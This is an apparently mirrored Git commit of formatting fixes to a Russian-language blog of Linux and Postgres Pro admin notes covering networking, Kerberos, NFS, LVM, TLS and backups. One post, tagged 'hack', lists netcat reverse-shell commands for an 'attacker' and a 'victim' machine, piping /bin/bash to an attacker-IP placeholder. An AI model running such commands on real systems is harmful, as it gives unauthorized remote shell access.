mirror of
https://github.com/fruworg/fruworg.github.io.git
synced 2024-11-16 09:27:17 +03:00
little fixes
This commit is contained in:
parent
502633a0d5
commit
299a17db96
@ -5,12 +5,12 @@ description: Небольшая памятка
|
|||||||
tags: [linux, astra]
|
tags: [linux, astra]
|
||||||
---
|
---
|
||||||
## Установка пакета fly
|
## Установка пакета fly
|
||||||
```bash
|
```shell
|
||||||
apt install fly-all-main
|
apt install fly-all-main
|
||||||
```
|
```
|
||||||
|
|
||||||
## Загрузка ОС с GUI по-умолчанию
|
## Загрузка ОС с GUI по-умолчанию
|
||||||
```bash
|
```shell
|
||||||
systemctl set-default graphical.target
|
systemctl set-default graphical.target
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -22,6 +22,6 @@ systemctl get-default
|
|||||||
```
|
```
|
||||||
|
|
||||||
### Вернуть загрузку ОС с CLI
|
### Вернуть загрузку ОС с CLI
|
||||||
```bash
|
```shell
|
||||||
systemctl set-default multi-user.target
|
systemctl set-default multi-user.target
|
||||||
```
|
```
|
||||||
|
@ -6,6 +6,7 @@ tags: [linux]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Смена имени
|
## Смена имени
|
||||||
|
|
||||||
Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить.
|
Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить.
|
||||||
```bash
|
```bash
|
||||||
LANG=C xdg-user-dirs-update --force
|
LANG=C xdg-user-dirs-update --force
|
||||||
|
@ -4,25 +4,30 @@ date: 2022-11-25T19:17:00+05:00
|
|||||||
description: Команда ip в Linux
|
description: Команда ip в Linux
|
||||||
tags: [linux]
|
tags: [linux]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Показать все интерфейсы
|
## Показать все интерфейсы
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ip a
|
ip a
|
||||||
ip l
|
ip l
|
||||||
```
|
```
|
||||||
|
|
||||||
## Показать информацию по конкретному интерфейсу
|
## Показать информацию по конкретному интерфейсу
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ip a show <interface>
|
ip a show <interface>
|
||||||
ip l show <interface>
|
ip l show <interface>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Изменить статус сетевого интерфейса
|
## Изменить статус сетевого интерфейса
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
ip l set <interface> down
|
ip l set <interface> down
|
||||||
ip l set <interface> up
|
ip l set <interface> up
|
||||||
```
|
```
|
||||||
|
|
||||||
## Добавить или удалить адрес
|
## Добавить или удалить адрес
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
ip a add <ip-address/mask> dev <interface>
|
ip a add <ip-address/mask> dev <interface>
|
||||||
ip a add brd <ip-address/mask> dev <interface>
|
ip a add brd <ip-address/mask> dev <interface>
|
||||||
|
@ -7,6 +7,7 @@ tags: [linux, krb5]
|
|||||||
## Конфигурация сервера
|
## Конфигурация сервера
|
||||||
|
|
||||||
### Установка пакетов
|
### Установка пакетов
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install krb5-kdc krb5-admin-server
|
apt -y install krb5-kdc krb5-admin-server
|
||||||
```
|
```
|
||||||
@ -14,19 +15,23 @@ apt -y install krb5-kdc krb5-admin-server
|
|||||||
## Конфигурация клиента
|
## Конфигурация клиента
|
||||||
|
|
||||||
### Установка пакетов
|
### Установка пакетов
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install krb5-user libpam-krb5
|
apt -y install krb5-user libpam-krb5
|
||||||
```
|
```
|
||||||
|
|
||||||
## Общая конфигурация
|
## Общая конфигурация
|
||||||
|
|
||||||
На сервере и клиенте надо проделать следующие шаги:
|
На сервере и клиенте надо проделать следующие шаги:
|
||||||
|
|
||||||
### Смена hostname
|
### Смена hostname
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
hostnamectl set-hostname <hostname>
|
hostnamectl set-hostname <hostname>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Правка файла hosts
|
### Правка файла hosts
|
||||||
|
|
||||||
Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там.
|
Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там.
|
||||||
```config
|
```config
|
||||||
<server-ip> <server-name.domain.name> <server-name>
|
<server-ip> <server-name.domain.name> <server-name>
|
||||||
@ -34,6 +39,7 @@ hostnamectl set-hostname <hostname>
|
|||||||
```
|
```
|
||||||
|
|
||||||
### Редактирование конфига Kerberos
|
### Редактирование конфига Kerberos
|
||||||
|
|
||||||
В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc:
|
В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc:
|
||||||
```config
|
```config
|
||||||
[libdefaults]
|
[libdefaults]
|
||||||
@ -55,11 +61,13 @@ hostnamectl set-hostname <hostname>
|
|||||||
## Создание нового реалма (на сервере)
|
## Создание нового реалма (на сервере)
|
||||||
|
|
||||||
### Создание master key для БД krb5
|
### Создание master key для БД krb5
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
krb5_newrealm
|
krb5_newrealm
|
||||||
```
|
```
|
||||||
|
|
||||||
### Создание учётной записи администратора
|
### Создание учётной записи администратора
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
kadmin.local
|
kadmin.local
|
||||||
addprinc <admin-name>/admin
|
addprinc <admin-name>/admin
|
||||||
|
@ -13,6 +13,7 @@ nameserver <dns-server>
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Статика
|
## Статика
|
||||||
|
|
||||||
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
@ -24,6 +25,7 @@ iface <interface> inet static
|
|||||||
```
|
```
|
||||||
|
|
||||||
## DHCP
|
## DHCP
|
||||||
|
|
||||||
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
|
@ -7,17 +7,20 @@ tags: [linux, nfs]
|
|||||||
## Настройка NFS-сервера
|
## Настройка NFS-сервера
|
||||||
|
|
||||||
### Установка пакета
|
### Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install nfs-kernel-server
|
apt -y install nfs-kernel-server
|
||||||
```
|
```
|
||||||
|
|
||||||
### Создание каталога, который будет расшарен
|
### Создание каталога, который будет расшарен
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
mkdir /nfs
|
mkdir /nfs
|
||||||
chmod 777 /nfs
|
chmod 777 /nfs
|
||||||
```
|
```
|
||||||
|
|
||||||
### Разрешение сетевого доступа
|
### Разрешение сетевого доступа
|
||||||
|
|
||||||
В файл `/etc/exports` необходимо добавить следующую строку:
|
В файл `/etc/exports` необходимо добавить следующую строку:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
@ -27,16 +30,19 @@ chmod 777 /nfs
|
|||||||
## Настройка NFS-клиента
|
## Настройка NFS-клиента
|
||||||
|
|
||||||
### Установка пакета
|
### Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install nfs-common
|
apt -y install nfs-common
|
||||||
```
|
```
|
||||||
|
|
||||||
### Запуск службы
|
### Запуск службы
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
systemctl enable --now rpcbind
|
systemctl enable --now rpcbind
|
||||||
```
|
```
|
||||||
|
|
||||||
### Автомонитрование
|
### Автомонитрование
|
||||||
|
|
||||||
В файл `/etc/fstab` необходимо добавить следующую строку:
|
В файл `/etc/fstab` необходимо добавить следующую строку:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
|
@ -7,16 +7,19 @@ tags: [linux]
|
|||||||
## Распаковка пакета
|
## Распаковка пакета
|
||||||
|
|
||||||
### Распаковка данных
|
### Распаковка данных
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -x "<package>.deb" <folder>
|
dpkg -x "<package>.deb" <folder>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Распаковка метаданных
|
### Распаковка метаданных
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -e "<package>.deb" <folder>/DEBIAN
|
dpkg -e "<package>.deb" <folder>/DEBIAN
|
||||||
```
|
```
|
||||||
|
|
||||||
## Сборка пакета
|
## Сборка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg -b <folder> "<package>.deb"
|
dpkg -b <folder> "<package>.deb"
|
||||||
```
|
```
|
||||||
|
@ -4,12 +4,15 @@ description: Базовые команды
|
|||||||
date: 2022-11-25T13:58:10+05:00
|
date: 2022-11-25T13:58:10+05:00
|
||||||
tags: [linux, lvm]
|
tags: [linux, lvm]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Установка пакекта
|
## Установка пакекта
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install lvm2
|
apt -y install lvm2
|
||||||
```
|
```
|
||||||
|
|
||||||
## Создание
|
## Создание
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
pvcreate /dev/sda
|
pvcreate /dev/sda
|
||||||
vgcreate vg-name /dev/sda
|
vgcreate vg-name /dev/sda
|
||||||
@ -17,6 +20,7 @@ lvcreate -L 10G -n lv-name vg-name
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Изменение
|
## Изменение
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
vgextend vg /dev/sdb
|
vgextend vg /dev/sdb
|
||||||
lvresize -rL +1G /dev/vg-name/lv-name
|
lvresize -rL +1G /dev/vg-name/lv-name
|
||||||
@ -24,6 +28,7 @@ lvresize -rl +100%FREE /dev/vg-name/lv-name
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Просмотр
|
## Просмотр
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
pvs
|
pvs
|
||||||
vgs
|
vgs
|
||||||
|
@ -6,24 +6,24 @@ tags: [linux, tls]
|
|||||||
---
|
---
|
||||||
## Извлечение сертификата и ключа
|
## Извлечение сертификата и ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
|
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
|
||||||
```
|
```
|
||||||
|
|
||||||
## Извлечение сертификата
|
## Извлечение сертификата
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
|
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
## Извлечение ключа
|
## Извлечение ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key
|
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key
|
||||||
```
|
```
|
||||||
|
|
||||||
## Обеспароливание ключа
|
## Обеспароливание ключа
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl rsa -in <key>.tmp.key -out <key>.key
|
openssl rsa -in <key>.tmp.key -out <key>.key
|
||||||
```
|
```
|
||||||
|
@ -5,30 +5,32 @@ date: 2023-03-03T13:26:00+05:00
|
|||||||
tags: [linux, postgres]
|
tags: [linux, postgres]
|
||||||
---
|
---
|
||||||
## На старой версии (<=12)
|
## На старой версии (<=12)
|
||||||
|
|
||||||
Заходим в консоль Postgres:
|
Заходим в консоль Postgres:
|
||||||
```shell
|
```bash
|
||||||
psql
|
psql
|
||||||
```
|
```
|
||||||
|
|
||||||
Убиваем соединения с БД:
|
Убиваем соединения с БД:
|
||||||
```psql
|
```sql
|
||||||
SELECT pg_terminate_backend (pid)
|
SELECT pg_terminate_backend (pid)
|
||||||
FROM pg_stat_activity
|
FROM pg_stat_activity
|
||||||
WHERE pg_stat_activity.datname = '<database_name>';
|
WHERE pg_stat_activity.datname = '<database_name>';
|
||||||
```
|
```
|
||||||
|
|
||||||
Дропаем БД:
|
Дропаем БД:
|
||||||
```shell
|
```sql
|
||||||
DROP DATABASE <database_name>;
|
DROP DATABASE <database_name>;
|
||||||
```
|
```
|
||||||
|
|
||||||
## На новой версии (>=13)
|
## На новой версии (>=13)
|
||||||
|
|
||||||
Заходим в консоль Postgres:
|
Заходим в консоль Postgres:
|
||||||
```shell
|
```bash
|
||||||
psql
|
psql
|
||||||
```
|
```
|
||||||
|
|
||||||
Дропаем БД:
|
Дропаем БД:
|
||||||
```psql
|
```sql
|
||||||
DROP DATABASE <database_name> WITH (FORCE);
|
DROP DATABASE <database_name> WITH (FORCE);
|
||||||
```
|
```
|
||||||
|
@ -10,16 +10,18 @@ AD необходимо дать роль CA и выпустить сертиф
|
|||||||
## Перенос сертификата
|
## Перенос сертификата
|
||||||
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
|
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
|
||||||
|
|
||||||
```shell
|
```bash
|
||||||
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
|
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
## Установка пакета ldap-utils
|
## Установка пакета ldap-utils
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt install ldap-utils -y
|
apt install ldap-utils -y
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка ldap конфига
|
## Правка ldap конфига
|
||||||
|
|
||||||
В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки:
|
В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
@ -29,23 +31,26 @@ URI ldaps://<dc>.<domain>.<local>:636
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Проверка ldap
|
## Проверка ldap
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
|
ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка pg_hba.conf
|
## Правка pg_hba.conf
|
||||||
|
|
||||||
С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
|
С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
|
||||||
```config
|
```config
|
||||||
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
|
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Создание пользователя в Postgres
|
## Создание пользователя в Postgres
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
psql -c "CREATE USER <domain-user>;"
|
psql -c "CREATE USER <domain-user>;"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск Postgres Pro
|
## Перезапуск Postgres Pro
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
systemctl restart postgres*
|
systemctl restart postgres*
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@ date: 2022-11-25T16:20:00+05:00
|
|||||||
tags: [linux, astra, postgres]
|
tags: [linux, astra, postgres]
|
||||||
---
|
---
|
||||||
## Добавление репозитория
|
## Добавление репозитория
|
||||||
|
|
||||||
``` shell
|
``` shell
|
||||||
apt -y install gnupg
|
apt -y install gnupg
|
||||||
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
|
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
|
||||||
@ -12,23 +13,27 @@ echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Установка пакета
|
## Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt update
|
apt update
|
||||||
apt -y install postgrespro-std-14
|
apt -y install postgrespro-std-14
|
||||||
```
|
```
|
||||||
|
|
||||||
## systemd
|
## systemd
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
/opt/pgpro/std-14/bin/pg-setup service enable --now
|
/opt/pgpro/std-14/bin/pg-setup service enable --now
|
||||||
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
|
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
|
||||||
```
|
```
|
||||||
|
|
||||||
## Обновление путей
|
## Обновление путей
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
/opt/pgpro/std-14/bin/pg-wrapper links update
|
/opt/pgpro/std-14/bin/pg-wrapper links update
|
||||||
```
|
```
|
||||||
|
|
||||||
## Смена пароля postgres
|
## Смена пароля postgres
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
su - postgres
|
su - postgres
|
||||||
psql -c "ALTER USER postgres PASSWORD '<password>';"
|
psql -c "ALTER USER postgres PASSWORD '<password>';"
|
||||||
|
@ -4,6 +4,7 @@ description: Потоковая репликация и репликация с
|
|||||||
date: 2022-11-25T16:51:00+05:00
|
date: 2022-11-25T16:51:00+05:00
|
||||||
tags: [linux, postgres, nfs]
|
tags: [linux, postgres, nfs]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Установка Postgres Pro
|
## Установка Postgres Pro
|
||||||
Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se).
|
Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se).
|
||||||
|
|
||||||
@ -11,17 +12,16 @@ tags: [linux, postgres, nfs]
|
|||||||
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
|
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
|
||||||
|
|
||||||
### Конфигурация master
|
### Конфигурация master
|
||||||
Действия с Postgres Pro следует выполнять от имени пользователя postgres.
|
|
||||||
```shell
|
|
||||||
su - postgres
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Создание пользователя для репликации
|
#### Создание пользователя для репликации
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
|
su - postgres
|
||||||
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
|
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Разрешение подключения для slave
|
#### Разрешение подключения для slave
|
||||||
|
|
||||||
Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`:
|
Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
@ -29,7 +29,8 @@ host replication repuser <slave-ip>/32 md5
|
|||||||
```
|
```
|
||||||
|
|
||||||
#### Реконфигурация
|
#### Реконфигурация
|
||||||
В файл `/var/lib/pgpro/std-13/data/postgresql.conf` необходимо добавить следующие строки:
|
|
||||||
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
listen_addresses = 'localhost, <master-ip>'
|
listen_addresses = 'localhost, <master-ip>'
|
||||||
@ -54,13 +55,16 @@ pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D /var/lib/pgp
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Репликация с архивом
|
## Репликация с архивом
|
||||||
|
|
||||||
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
|
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
|
||||||
|
|
||||||
### Развёртывание NFS
|
### Развёртывание NFS
|
||||||
|
|
||||||
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs).
|
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs).
|
||||||
Необходимо смонтировать NFS на master и slave в одинаковые директории.
|
Необходимо смонтировать NFS на master и slave в одинаковые директории.
|
||||||
|
|
||||||
### Дополнение к реконфигурации
|
### Дополнение к реконфигурации
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
|
|
||||||
```config
|
```config
|
||||||
@ -69,6 +73,7 @@ archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Синхронный и асинхронный режим репликации
|
## Синхронный и асинхронный режим репликации
|
||||||
|
|
||||||
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
|
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
|
||||||
По умолчанию репликация работает в асинхронном режиме.
|
По умолчанию репликация работает в асинхронном режиме.
|
||||||
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`:
|
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`:
|
||||||
|
@ -5,6 +5,7 @@ date: 2022-12-14T16:48:00+05:00
|
|||||||
tags: [linux, postgres]
|
tags: [linux, postgres]
|
||||||
---
|
---
|
||||||
## Скрипт для бэкапа БД и глобальных объектов
|
## Скрипт для бэкапа БД и глобальных объектов
|
||||||
|
|
||||||
В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки:
|
В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки:
|
||||||
```config
|
```config
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
@ -14,13 +15,15 @@ pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d'
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Файл cron с запуском скрипта (каждый день в 2:00)
|
## Файл cron с запуском скрипта (каждый день в 2:00)
|
||||||
|
|
||||||
Необходимо дописать в конец `crontab -e -u <username>` следующие строки:
|
Необходимо дописать в конец `crontab -e -u <username>` следующие строки:
|
||||||
```config
|
```config
|
||||||
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
|
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
## Рестор файлов БД и глобальных объектов
|
## Рестор файлов БД и глобальных объектов
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
pg_restore -C -d postgres <dbname>-<date>.dump
|
pg_restore -C -d postgres <dbname>-<date>.dump
|
||||||
psql -U postgres < gb-<date>.dump
|
psql -U postgres < gb-<date>.dump
|
||||||
```
|
```
|
||||||
|
@ -5,13 +5,15 @@ date: 2022-11-28T20:25:00+05:00
|
|||||||
tags: [linux, postgres, tls]
|
tags: [linux, postgres, tls]
|
||||||
---
|
---
|
||||||
## Создание сертификата
|
## Создание сертификата
|
||||||
|
|
||||||
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
|
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
|
||||||
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
|
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
|
||||||
```shell
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
|
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
|
||||||
```
|
```
|
||||||
|
|
||||||
## Включение TLS
|
## Включение TLS
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
|
||||||
```config
|
```config
|
||||||
ssl = on
|
ssl = on
|
||||||
@ -21,12 +23,14 @@ listen_addresses = 'localhost, <master-ip>'
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Разрешение доступа через TLS
|
## Разрешение доступа через TLS
|
||||||
|
|
||||||
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
|
||||||
```config
|
```config
|
||||||
hostssl <user> <database> <client-ip> scram-sha-256
|
hostssl <user> <database> <client-ip> scram-sha-256
|
||||||
```
|
```
|
||||||
|
|
||||||
## (ре)Генерация пароля
|
## (ре)Генерация пароля
|
||||||
|
|
||||||
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
|
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
|
||||||
```shell
|
```shell
|
||||||
psql -c \password
|
psql -c \password
|
||||||
|
@ -6,7 +6,7 @@ tags: [linux, postgres]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Листинг запущенных экземпляров PostgreSQL
|
## Листинг запущенных экземпляров PostgreSQL
|
||||||
```shell
|
```bash
|
||||||
pg_lsclusters
|
pg_lsclusters
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -6,6 +6,7 @@ tags: [linux, windows]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Подключение
|
## Подключение
|
||||||
|
|
||||||
Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`:
|
Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`:
|
||||||
```bash
|
```bash
|
||||||
wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f
|
wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f
|
||||||
|
@ -4,16 +4,19 @@ description: Используя Traditional и OpenBSD Netcat
|
|||||||
date: 2022-12-09T15:02:00+05:00
|
date: 2022-12-09T15:02:00+05:00
|
||||||
tags: [linux, ssh, hack]
|
tags: [linux, ssh, hack]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Машина атакующего
|
## Машина атакующего
|
||||||
```shell
|
```shell
|
||||||
nc -lvp <port>
|
nc -lvp <port>
|
||||||
```
|
```
|
||||||
## Машина жертвы (Traditional Netcat)
|
## Машина жертвы (Traditional Netcat)
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
nc <attacker-ip> <port> -e /bin/bash
|
nc <attacker-ip> <port> -e /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
## Машина жертвы (OpenBSD Netcat)
|
## Машина жертвы (OpenBSD Netcat)
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
|
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
|
||||||
```
|
```
|
||||||
|
@ -83,7 +83,7 @@ bundle exec rake install
|
|||||||
|
|
||||||
## Сборка бинарника
|
## Сборка бинарника
|
||||||
|
|
||||||
Собираем бинарник. Обязательно при этом необходимо молиться.
|
Собираем бинарник и молимся.
|
||||||
```shell
|
```shell
|
||||||
cd <ruby-util-dir>
|
cd <ruby-util-dir>
|
||||||
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>
|
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>
|
||||||
|
@ -5,18 +5,21 @@ date: 2023-05-12T18:20:00+05:00
|
|||||||
tags: [linux, astra, alt, tls]
|
tags: [linux, astra, alt, tls]
|
||||||
---
|
---
|
||||||
## Получение корневого сертификата
|
## Получение корневого сертификата
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem
|
echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
## Astra Linux
|
## Astra Linux
|
||||||
|
|
||||||
### Перемещение сертификата
|
### Перемещение сертификата
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
cp <certificate>.pem /usr/local/share/ca-certificates
|
cp <certificate>.pem /usr/local/share/ca-certificates
|
||||||
```
|
```
|
||||||
|
|
||||||
### Обновление состава доверенного хранилища
|
### Обновление состава доверенного хранилища
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg-reconfigure ca-certificates
|
dpkg-reconfigure ca-certificates
|
||||||
```
|
```
|
||||||
@ -24,11 +27,13 @@ dpkg-reconfigure ca-certificates
|
|||||||
## Alt Linux
|
## Alt Linux
|
||||||
|
|
||||||
### Перемещение сертификата
|
### Перемещение сертификата
|
||||||
|
|
||||||
